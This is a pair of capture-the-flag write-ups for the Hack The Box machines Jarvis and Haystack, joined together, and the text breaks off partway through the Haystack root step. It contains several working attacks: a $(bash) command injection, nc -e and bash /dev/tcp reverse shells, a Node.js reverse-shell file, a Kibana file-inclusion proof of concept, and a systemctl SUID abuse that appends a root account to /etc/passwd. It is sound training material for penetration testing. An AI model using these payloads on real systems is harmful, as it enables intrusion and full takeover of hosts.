root@kali:~/Desktop/HTB/boxes/jarvis# nc -lvnp 1337

www-data@jarvis:/var/www/html$ export TERM=screen
www-data@jarvis:/var/www/html$ 

Command Injection in simpler.py –> Shell as pepper –> User Flag

I checked the home directory and there was a user called pepper, I couldn’t read the user flag as www-data:

www-data@jarvis:/var/www/html$ cd /home/
www-data@jarvis:/home$ ls -al
total 12
drwxr-xr-x  3 root   root   4096 Mar  2  2019 .
drwxr-xr-x 23 root   root   4096 Mar  3  2019 ..
drwxr-xr-x  4 pepper pepper 4096 Mar  5  2019 pepper
www-data@jarvis:/home$ cd pepper/
www-data@jarvis:/home/pepper$ ls -al
total 32
drwxr-xr-x 4 pepper pepper 4096 Mar  5  2019 .
drwxr-xr-x 3 root   root   4096 Mar  2  2019 ..
lrwxrwxrwx 1 root   root      9 Mar  4  2019 .bash_history -> /dev/null
-rw-r--r-- 1 pepper pepper  220 Mar  2  2019 .bash_logout
-rw-r--r-- 1 pepper pepper 3526 Mar  2  2019 .bashrc
drwxr-xr-x 2 pepper pepper 4096 Mar  2  2019 .nano
-rw-r--r-- 1 pepper pepper  675 Mar  2  2019 .profile
drwxr-xr-x 3 pepper pepper 4096 Mar  4  2019 Web
-r--r----- 1 root   pepper   33 Mar  5  2019 user.txt
www-data@jarvis:/home/pepper$ cat user.txt 
cat: user.txt: Permission denied
www-data@jarvis:/home/pepper$ 

By running sudo -l I saw that I can run /var/www/Admin-Utilities/simpler.py as pepper without a password:

www-data@jarvis:/home/pepper$ sudo -l
Matching Defaults entries for www-data on jarvis:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on jarvis:
    (pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py
www-data@jarvis:/home/pepper$ 
www-data@jarvis:/home/pepper$ sudo -u pepper /var/www/Admin-Utilities/simpler.py
***********************************************
     _                 _                       
 ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _ 
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                |_|               |_|    |___/ 
                                @ironhackers.es
                                
***********************************************


********************************************************
* Simpler   -   A simple simplifier ;)                 *
* Version 1.0                                          *
********************************************************
Usage:  python3 simpler.py [options]

Options:
    -h/--help   : This help
    -s          : Statistics
    -l          : List the attackers IP
    -p          : ping an attacker IP
    
www-data@jarvis:/home/pepper$ 

Let’s take a look at that script:

www-data@jarvis:/home/pepper$ cat /var/www/Admin-Utilities/simpler.py
#!/usr/bin/env python3
from datetime import datetime             
import sys               
import os 
from os import listdir               
import re        
def show_help():         
    message='''
********************************************************
* Simpler   -   A simple simplifier ;)                 *
* Version 1.0                                          *
********************************************************
Usage:  python3 simpler.py [options]
Options:
    -h/--help   : This help
    -s          : Statistics
    -l          : List the attackers IP
    -p          : ping an attacker IP                
    '''     
    print(message)

def show_header():
    print('''***********************************************
     _                 _                       
 ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _ 
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                |_|               |_|    |___/ 
                                @ironhackers.es
***********************************************                   
''')
def show_statistics():
    path = '/home/pepper/Web/Logs/'
    print('Statistics\n-----------')
    listed_files = listdir(path)
    count = len(listed_files)
    print('Number of Attackers: ' + str(count))
    level_1 = 0
    dat = datetime(1, 1, 1)
    ip_list = []
    reks = []
    ip = ''
    req = ''
    rek = ''
    for i in listed_files:
        f = open(path + i, 'r')
        lines = f.readlines()
        level2, rek = get_max_level(lines)
        fecha, requ = date_to_num(lines)
        ip = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
        if fecha > dat:
            dat = fecha
            req = requ
            ip2 = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
        if int(level2) > int(level_1):
            level_1 = level2
            ip_list = [ip]
            reks=[rek]
        elif int(level2) == int(level_1):
            ip_list.append(ip)
            reks.append(rek)
        f.close()

    print('Most Risky:')
    if len(ip_list) > 1:
        print('More than 1 ip found')
    cont = 0
    for i in ip_list:
        print('    ' + i + ' - Attack Level : ' + level_1 + ' Request: ' + reks[cont])
        cont = cont + 1

    print('Most Recent: ' + ip2 + ' --> ' + str(dat) + ' ' + req)

def list_ip():
    print('Attackers\n-----------')
    path = '/home/pepper/Web/Logs/'
    listed_files = listdir(path)
    for i in listed_files:
        f = open(path + i,'r')
        lines = f.readlines()
        level,req = get_max_level(lines)
        print(i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] + ' - Attack Level : ' + level)                                                                             
        f.close()

def date_to_num(lines):
    dat = datetime(1,1,1)
    ip = ''
    req=''
    for i in lines:
        if 'Level' in i:
            fecha=(i.split(' ')[6] + ' ' + i.split(' ')[7]).split('\n')[0]
            regex = '(\d+)-(.*)-(\d+)(.*)'
            logEx=re.match(regex, fecha).groups()
            mes = to_dict(logEx[1])
            fecha = logEx[0] + '-' + mes + '-' + logEx[2] + ' ' + logEx[3]
            fecha = datetime.strptime(fecha, '%Y-%m-%d %H:%M:%S')
            if fecha > dat:
                dat = fecha
                req = i.split(' ')[8] + ' ' + i.split(' ')[9] + ' ' + i.split(' ')[10]
    return dat, req

def to_dict(name):
    month_dict = {'Jan':'01','Feb':'02','Mar':'03','Apr':'04', 'May':'05', 'Jun':'06','Jul':'07','Aug':'08','Sep':'09','Oct':'10','Nov':'11','Dec':'12'}                                                          
    return month_dict[name]

def get_max_level(lines):
    level=0
    for j in lines:
        if 'Level' in j:
            if int(j.split(' ')[4]) > int(level):
                level = j.split(' ')[4]
                req=j.split(' ')[8] + ' ' + j.split(' ')[9] + ' ' + j.split(' ')[10]
    return level, req

def exec_ping():
    forbidden = ['&', ';', '-', '`', '||', '|']
    command = input('Enter an IP: ')
    for i in forbidden:
        if i in command:
            print('Got you')
            exit()
    os.system('ping ' + command)

if __name__ == '__main__':
    show_header()
    if len(sys.argv) != 2:
        show_help()
        exit()
    if sys.argv[1] == '-h' or sys.argv[1] == '--help':
        show_help()
        exit()
    elif sys.argv[1] == '-s':
        show_statistics()
        exit()
    elif sys.argv[1] == '-l':
        list_ip()
        exit()
    elif sys.argv[1] == '-p':
        exec_ping()
        exit()
    else:
        show_help()
        exit()
www-data@jarvis:/home/pepper$

The most interesting function in this script is exec_ping:

def exec_ping():
    forbidden = ['&', ';', '-', '`', '||', '|']
    command = input('Enter an IP: ')
    for i in forbidden:
        if i in command:
            print('Got you')
            exit()
    os.system('ping ' + command)

It takes our input (it assumes that it’s an ip) and executes ping on it, to prevent command injection it checks for these characters:

& ; - ` || |

However, It doesn’t check for the dollar sign ($), the dollar sign can be used to execute commands like this: $(command)
So for example if we do ping -c 1 $(echo 127.0.0.1)echo 127.0.0.1 will be executed first then the ping command will be executed:

root@kali:~/Desktop/HTB/boxes/jarvis# ping -c 1 $(echo 127.0.0.1)
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.072 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.072/0.072/0.072/0.000 ms
root@kali:~/Desktop/HTB/boxes/jarvis#

ping -c 1 $(whoami) will result in an error message because it will try to ping root which is not a valid hostname:

root@kali:~/Desktop/HTB/boxes/jarvis#  ping -c 1 $(whoami)
ping: unknown host root
root@kali:~/Desktop/HTB/boxes/jarvis# 

So we can simply do $(bash) and we’ll get a shell:

www-data@jarvis:/home/pepper$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
***********************************************
     _                 _                       
 ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _ 
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                |_|               |_|    |___/ 
                                @ironhackers.es
                                
***********************************************

Enter an IP: $(bash)
pepper@jarvis:~$ 

When I ran commands I didn’t get any output:

pepper@jarvis:~$ id
pepper@jarvis:~$ cat user.txt 
pepper@jarvis:~$ ls -la
pepper@jarvis:~$ nc 10.10.14.12 1338 -e /bin/bash
nc 10.10.14.12 443 -e /bin/bash

So I executed a reverse shell command (I used the same payload I used before) and got a reverse shell as pepper:

root@kali:~/Desktop/HTB/boxes/jarvis# nc -lvnp 1338
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::1338
Ncat: Listening on 0.0.0.0:1338
Ncat: Connection from 10.10.10.143.
Ncat: Connection from 10.10.10.143:40124.
$ python -c "import pty;pty.spawn('/bin/bash')"
pepper@jarvis:~$ ^Z
[1]+  Stopped                 nc -lvnp 1338
root@kali:~/Desktop/HTB/boxes/jarvis# stty raw -echo
root@kali:~/Desktop/HTB/boxes/jarvis# nc -lvnp 1338

pepper@jarvis:~$ export TERM=screen
pepper@jarvis:~$ id
uid=1000(pepper) gid=1000(pepper) groups=1000(pepper)
pepper@jarvis:~$ ls -al
total 32
drwxr-xr-x 4 pepper pepper 4096 Mar  5  2019 .
drwxr-xr-x 3 root   root   4096 Mar  2  2019 ..
lrwxrwxrwx 1 root   root      9 Mar  4  2019 .bash_history -> /dev/null
-rw-r--r-- 1 pepper pepper  220 Mar  2  2019 .bash_logout
-rw-r--r-- 1 pepper pepper 3526 Mar  2  2019 .bashrc
drwxr-xr-x 2 pepper pepper 4096 Mar  2  2019 .nano
-rw-r--r-- 1 pepper pepper  675 Mar  2  2019 .profile
drwxr-xr-x 3 pepper pepper 4096 Mar  4  2019 Web
-r--r----- 1 root   pepper   33 Mar  5  2019 user.txt
pepper@jarvis:~$

We owned user.

For Easier SSH access next time

pepper@jarvis:~$ mkdir .ssh
mkdir .ssh
pepper@jarvis:~$ chmod 700 .ssh
chmod 700 .ssh
pepper@jarvis:~$ cd .ssh
cd .ssh
pepper@jarvis:~/.ssh$ touch authorized_keys
touch authorized_keys
pepper@jarvis:~/.ssh$ chmod 600 authorized_keys
chmod 600 authorized_keys
pepper@jarvis:~/.ssh$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0+5LQji/cUojuN22MGzaN7NQskxauMcA5i+raeKkg2XT5lPGlXv6QuOmidrHorwWJYIYSq7RtL8HB6OODI31yvbcheE/LvW3kIZUeh19N81MQZbLeNhhVGALWSFdGW8YQY+DHESIl4UsqtTTUC7d3Ov0aPXUb+SOq0z3OOwGTK0LNBtD7e1SmdIS8Yb0gMt85DMBWx9uh68DzZipCOhYo4OrikCgFz4YwuERn71N5e7+DLV9TpLA7Y9lgUzYXSXrakDCzk4c0GPSjGKGyj2fHVmFsl5ZGDYqMIN8G/WqkOAgOItGqo0jz6tKzSII7ragaNiUdzenO7CZfTApVjlkT " > authorized_keys
<tKzSII7ragaNiUdzenO7CZfTApVjlkT " > authorized_keys
pepper@jarvis:~/.ssh$ cat authorized_keys
cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0+5LQji/cUojuN22MGzaN7NQskxauMcA5i+raeKkg2XT5lPGlXv6QuOmidrHorwWJYIYSq7RtL8HB6OODI31yvbcheE/LvW3kIZUeh19N81MQZbLeNhhVGALWSFdGW8YQY+DHESIl4UsqtTTUC7d3Ov0aPXUb+SOq0z3OOwGTK0LNBtD7e1SmdIS8Yb0gMt85DMBWx9uh68DzZipCOhYo4OrikCgFz4YwuERn71N5e7+DLV9TpLA7Y9lgUzYXSXrakDCzk4c0GPSjGKGyj2fHVmFsl5ZGDYqMIN8G/WqkOAgOItGqo0jz6tKzSII7ragaNiUdzenO7CZfTApVjlkT 
pepper@jarvis:~/.ssh$ 

.

root@kali:~/htb/jarvis# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): ./jarvis_rsa
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in ./jarvis_rsa.
Your public key has been saved in ./jarvis_rsa.pub.
The key fingerprint is:
SHA256:cpFcuepmUeVN83IFzhKMDvuWZ4l9zYxIV8u5vdGIy6s root@kali
The key's randomart image is:
+---[RSA 2048]----+
| .+. .. |
| ..oo o+o o|
| ++ +.o+++|
| ..+ o.++o|
| . S+ = = O+|
| oo = B +o*|
| . o + o o|
| + o . |
| o E... |
+----[SHA256]-----+

root@kali:~/htb/jarvis# ssh -i jarvis_rsa pepper@10.10.10.143
The authenticity of host '10.10.10.143 (10.10.10.143)' can't be established.
ECDSA key fingerprint is SHA256:oPoKu2vmqVfC1e3TJJ5ZB8yL/2/W2YIrglCm8FTTuSs.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.10.10.143' (ECDSA) to the list of known hosts.
Linux jarvis 4.9.0-8-amd64 #1 SMP Debian 4.9.144-3.1 (2019-02-19) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Mar 5 10:23:48 2019 from 172.16.204.1
pepper@jarvis:~$ 



Systemctl: suid –> Root Shell –> Root Flag

When I checked the suid binaries I saw systemctl:

pepper@jarvis:~$ find / -perm -4000 2>/dev/null 
/bin/fusermount
/bin/mount
/bin/ping
/bin/systemctl
/bin/umount
/bin/su
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/chfn
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
pepper@jarvis:~$ 

systemctl may be used to introspect and control the state of the “systemd” system and service manager. –man7.org

To verify that it can be abused I checked gtfobins and found a page for it.
We need to create a service that executes a file of our choice when it starts, then we’ll use systemctl to enable and start it and the file will get executed as root.
I created a service that executes /dev/shm/root.sh:

[Unit]
Description=pwned

[Service]
ExecStart=/dev/shm/root.sh

[Install]
WantedBy=multi-user.target

And I created /dev/shm/root.sh which echoes:

rooot:gDlPrjU6SWeKo:0:0:root:/root:/bin/bash

to /etc/passwd to enable us to su as root with the credentials rooot : AAAA. (Check Ghoul).

pepper@jarvis:/dev/shm$ nano root.service
pepper@jarvis:/dev/shm$ cat root.service
[Unit]
Description=pwned

[Service]
ExecStart=/dev/shm/root.sh

[Install]
WantedBy=multi-user.target
pepper@jarvis:/dev/shm$ nano root.sh
pepper@jarvis:/dev/shm$ chmod +x root.sh
pepper@jarvis:/dev/shm$ cat root.sh
#!/bin/bash
echo 'rooot:gDlPrjU6SWeKo:0:0:root:/root:/bin/bash' >> /etc/passwd
pepper@jarvis:/dev/shm$ 

I enabled the service and started it:

pepper@jarvis:/dev/shm$ systemctl enable /dev/shm/root.service
Created symlink /etc/systemd/system/multi-user.target.wants/root.service -> /dev/shm/root.service.
Created symlink /etc/systemd/system/root.service -> /dev/shm/root.service.
pepper@jarvis:/dev/shm$ systemctl start root.service
pepper@jarvis:/dev/shm$

Now if we check /etc/passwd we’ll see that it has been modified:

pepper@jarvis:/dev/shm$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
messagebus:x:105:110::/var/run/dbus:/bin/false
pepper:x:1000:1000:,,,:/home/pepper:/bin/bash
mysql:x:106:112:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:107:65534::/run/sshd:/usr/sbin/nologin
rooot:gDlPrjU6SWeKo:0:0:root:/root:/bin/bash
pepper@jarvis:/dev/shm$
pepper@jarvis:/dev/shm$ su rooot 
Password: AAAA
root@jarvis:/dev/shm# id
uid=0(root) gid=0(root) groups=0(root)
root@jarvis:/dev/shm# whoami
root
root@jarvis:/dev/shm# cd /root/
root@jarvis:~# ls -al
total 52
drwx------  6 root root 4096 Mar  5  2019 .
drwxr-xr-x 23 root root 4096 Mar  3  2019 ..
lrwxrwxrwx  1 root root    9 Mar  4  2019 .bash_history -> /dev/null
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
drwxr-xr-x  4 root root 4096 Mar  3  2019 .cache
-rwxr--r--  1 root root   42 Mar  4  2019 clean.sh
drwxr-xr-x  3 root root 4096 Mar  3  2019 .config
drwxr-xr-x  3 root root 4096 Mar  3  2019 .local
lrwxrwxrwx  1 root root    9 Mar  4  2019 .mysql_history -> /dev/null
drwxr-xr-x  2 root root 4096 Mar  2  2019 .nano
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
lrwxrwxrwx  1 root root    9 Mar  4  2019 .python_history -> /dev/null
-r--------  1 root root   33 Mar  5  2019 root.txt
-rw-r--r--  1 root root   66 Mar  4  2019 .selected_editor
-rwxr-xr-x  1 root root 5271 Mar  5  2019 sqli_defender.py
root@jarvis:~# 

And we owned root !

All credits to : https://0xrick.github.io/hack-the-box/jarvis/

Alternative service privesc way:

On /lib/systemd/system or /etc/systemd/system there’s no write permissions so participants will have to know how to create a service using the link option:
–> Link a unit file that is not in the unit file search paths into the unit file search path.
This command expects an absolute path to a unit file.

pepper@jarvis:~$ cat puck.sh
bash -i >& /dev/tcp/10.10.16.70/8080 0>&1
pepper@jarvis:~$ systemctl link /home/pepper/evil2.service
Created symlink /etc/systemd/system/evil2.service → /home/pepper/evil2.service.
pepper@jarvis:~$ systemctl start evil2.service
pepper@jarvis:~$ cat evil2.service
[Unit]
Description=Mal Daemon

[Service]
ExecStart=/home/pepper/puck.sh

[Install]
WantedBy=multi-user.target

pepper@jarvis:~$

.

root@kali:~# nc -lvp 8080
listening on [any] 8080 ...
10.10.10.143: inverse host lookup failed: Unknown host
connect to [10.10.16.70] from (UNKNOWN) [10.10.10.143] 38116
bash: cannot set terminal process group (16859): Inappropriate ioctl for device
bash: no job control in this shell
root@jarvis:/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@jarvis:/# cat /root/root.txt
cat /root/root.txt
d41*****271

.

HTB – Haystack

Today we are going to solve another CTF challenge “Haystack” which is available online for those who want to increase their skill in penetration testing and black box testing. Node is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.

Level: Easy

Task: find user.txt and root.txt file on victim’s machine.

c:\PENTEST>nmap -sV -sT -sC 10.10.10.115
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-14 13:31 W. Europe Standard Time
Stats: 0:00:44 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 68.65% done; ETC: 13:32 (0:00:13 remaining)
Nmap scan report for 10.10.10.115
Host is up (0.025s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 2a:8d:e2:92:8b:14:b6:3f:e4:2f:3a:47:43:23:8b:2b (RSA)
| 256 e7:5a:3a:97:8e:8e:72:87:69:a3:0d:d1:00:bc:1f:09 (ECDSA)
|_ 256 01:d2:59:b2:66:0a:97:49:20:5f:1c:84:eb:81:ed:95 (ED25519)
80/tcp open http nginx 1.12.2
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (text/html).
9200/tcp open http nginx 1.12.2
| http-methods:
|_ Potentially risky methods: DELETE
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (application/json; charset=UTF-8).

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 69.75 seconds

 

Web Enumeration

On port 80 the index page had an image of a needle and nothing else:

<html>
<body>
<img src="needle.jpg" />
</body>
</html>

On port 9200 there was an elasticsearch instance running:

c:\PENTEST>curl http://10.10.10.115:9200/
{
"name" : "iQEYHgS",
"cluster_name" : "elasticsearch",
"cluster_uuid" : "pjrX7V_gSFmJY-DxP4tCQg",
"version" : {
"number" : "6.4.2",
"build_flavor" : "default",
"build_type" : "rpm",
"build_hash" : "04711c2",
"build_date" : "2018-09-26T13:34:09.098244Z",
"build_snapshot" : false,
"lucene_version" : "7.4.0",
"minimum_wire_compatibility_version" : "5.6.0",
"minimum_index_compatibility_version" : "5.0.0"
},
"tagline" : "You Know, for Search"
}

Elasticsearch is a distributed, RESTful search and analytics engine capable of addressing a growing number of use cases. As the heart of the Elastic Stack, it centrally stores your data so you can discover the expected and uncover the unexpected. –elastic.co

On port 80 I tried running gobuster but I got nothing:

Steg in needle.jpg, SSH creds from elasticsearch, User Flag

I downloaded the image from the index page to check if there’s any kind of steganography:

root@kali:~/Desktop/HTB/boxes/haystack# wget http://haystack.htb/needle.jpg
--2019-11-01 17:48:29--  http://haystack.htb/needle.jpg
Resolving haystack.htb (haystack.htb)... 10.10.10.115
Connecting to haystack.htb (haystack.htb)|10.10.10.115|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 182982 (179K) [image/jpeg]
Saving to: ‘needle.jpg’

needle.jpg                                           100%[=====================================================================================================================>] 178.69K  80.2KB/s    in 2.2s    
2019-11-01 17:48:32 (80.2 KB/s) - ‘needle.jpg’ saved [182982/182982]
root@kali:~/Desktop/HTB/boxes/haystack# 

By running strings on the image I found a base-64 encoded string:

root@kali:~/Desktop/HTB/boxes/haystack# strings needle.jpg
JFIF
Exif
paint.net 4.1.1
UNICODE
---
bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==

After decoding it I got a Spanish sentence:

root@kali:~/Desktop/HTB/boxes/haystack# echo bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg== | base64 -d
la aguja en el pajar es "clave"
root@kali:~/Desktop/HTB/boxes/haystack# 

Translation:

la aguja en el pajar es "clave" => the needle in the haystack is "key"

Back to the elasticsearch instance I searched for the word clave and got some interesting quotes in Spanish with some base-64 encoded strings:

c:\PENTEST>curl http://10.10.10.115:9200/_search?q=clave
{"took":42,"timed_out":false,"_shards":{"total":11,"successful":11,"skipped":0,"failed":0},"hits":{"total":2,"max_score":5.9335938,"hits":[{"_index":"quotes","_type":"quote","_id":"45","_score":5.9335938,"_source":{"quote":"Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg "}},{"_index":"quotes","_type":"quote","_id":"111","_score":5.3459888,"_source":{"quote":"Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="}}]}}

After translation and decoding:

Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg => I have to save the password for the machine: user: security

Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk= => This key cannot be lost, I keep it here: pass: spanish.is.key

We can ssh into the box with these creds security : spanish.is.key:

We owned user.


Shell as kibana

After getting ssh access I ran pspy to monitor the processes, I noticed that logstash was running as root:


Logstash is an open source, server-side data processing pipeline that ingests data from a multitude of sources simultaneously, transforms it, and then sends it to your favorite “stash.” –elastic.co

But as security I couldn’t read the configuration files of logstash:

[security@haystack tmp]$ cd /etc/logstash/conf.d/
[security@haystack conf.d]$ ls -al
total 12
drwxrwxr-x. 2 root kibana  62 Jun 24 08:12 .
drwxr-xr-x. 3 root root   183 Jun 18 22:15 ..
-rw-r-----. 1 root kibana 131 Jun 20 10:59 filter.conf
-rw-r-----. 1 root kibana 186 Jun 24 08:12 input.conf
-rw-r-----. 1 root kibana 109 Jun 24 08:12 output.conf
[security@haystack conf.d]$ cat input.conf 
cat: input.conf: Permission denied
[security@haystack conf.d]$ cat filter.conf 
cat: filter.conf: Permission denied
[security@haystack conf.d]$ cat output.conf 
cat: output.conf: Permission denied
[security@haystack conf.d]$ 

As you can see, the user kibana can read them, so we need to be kibana and to be the user kibana we have to exploit the service itself.
By looking at the open ports we can see that port 5601 which is the default port for kibana is open:

[security@haystack conf.d]$ ss -lnt
State       Recv-Q Send-Q                                                            Local Address:Port                                                                           Peer Address:Port               
LISTEN      0      128                                                                           *:80                                                                                        *:*                  
LISTEN      0      128                                                                           *:9200                                                                                      *:*                  
LISTEN      0      128                                                                           *:22                                                                                        *:*                  
LISTEN      0      128                                                                   127.0.0.1:5601                                                                                      *:*                  
LISTEN      0      128                                                            ::ffff:127.0.0.1:9000                                                                                     :::*                  
LISTEN      0      128                                                                          :::80                                                                                       :::*                  
LISTEN      0      128                                                            ::ffff:127.0.0.1:9300                                                                                     :::*                  
LISTEN      0      128                                                                          :::22                                                                                       :::*                  
LISTEN      0      50                                                             ::ffff:127.0.0.1:9600                                                                                     :::*                  
[security@haystack conf.d]$ 

Kibana lets you visualize your Elasticsearch data and navigate the Elastic Stack so you can do anything from tracking query load to understanding the way requests flow through your apps. –elastic.co

I forwarded the port:

PS C:\Users\jacco> ssh -L 5601:127.0.0.1:5601 security@10.10.10.115 security@10.10.10.115's password: spanish.is.key
Last login: Thu Nov 14 08:43:20 2019 from 10.10.14.82
Last login: Thu Nov 14 08:43:20 2019 from 10.10.14.82
[security@haystack ~]$

I checked the version and found that it was 6.4.2:
After a quick search I found that this version is vulnerable to a local file inclusion vulnerability.
So I uploaded a js shell to /dev/shm:

[security@haystack conf.d]$ cd /dev/shm/
[security@haystack shm]$ curl http://10.10.xx.xx/shell.js > shell.js
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   383  100   383    0     0    382      0  0:00:01  0:00:01 --:--:--   383
[security@haystack shm]$

shell.js:

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(1337, "10.10.xx.xx", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();

Then I applied the POC and got a reverse shell as kibana:

[security@haystack shm]$ curl 'http://127.0.0.1:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../dev/shm/rev.js'

of course we can run this curl over the ssh tunnel ( note for java reverse shell, i needed to copy rev.js to rev2.js ( it only works once with 1 name caching thing on server likely)

root@kali:~/htb# curl 'http://127.0.0.1:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../dev/shm/rev2.js'
root@kali:~/htb# rlwrap nc -lvp 1337
listening on [any] 1337 ...
10.10.10.115: inverse host lookup failed: Unknown host
connect to [10.10.14.82] from (UNKNOWN) [10.10.10.115] 37192
id
uid=994(kibana) gid=992(kibana) grupos=992(kibana) contexto=system_u:system_r:unconfined_service_t:s0
whoami
kibana
python -c "import pty;pty.spawn('/bin/bash')"
bash-4.2$

Exploiting logstash, Root Shell

Now we can read the configuration files:

bash-4.2$ cd /etc/logstash/conf.d/
bash-4.2$ cat *
filter {
        if [type] == "execute" {
                grok {
                        match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
                }
        }
}
input {
        file {
                path => "/opt/kibana/logstash_*"
                start_position => "beginning"
                sincedb_path => "/dev/null"
                stat_interval => "10 second"
                type => "execute"
                mode => "read"
        }
}
output {
        if [type] == "execute" {
                stdout { codec => json }
                exec {
                        command => "%{comando} &"
                }
        }
}
bash-4.2$ 

By reading the input and filter configuration files and with the help of the documentation we will figure out what to do.
We need to create an input file of the type execute and put whatever command we need to execute in it, to create a valid execute input file it needs to be in /opt/kibana/ and named according to the following pattern logstash_[Anything]:

input {
        file {
                path => "/opt/kibana/logstash_*"
                ---
                type => "execute"
        }

It also needs to pass the filter, we need to put Ejecutar comando : (translates to: Execute command :) before the command:

filter {
        if [type] == "execute" {
                grok {
                        match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
                }
        }
}

It uses the “exec” plugin to execute the command specified by the “comando” variable.  This can be set to any command which will get executed within 10 seconds. Let’s try running whoami to see which user we’re running as. we output of the command whoami to /tmp/user. Checking after a few seconds, we see

bash-4.2$ ls -la
ls -la
total 12
drwxrwxr-x. 2 root kibana 62 jun 24 08:12 .
drwxr-xr-x. 3 root root 183 jun 18 22:15 ..
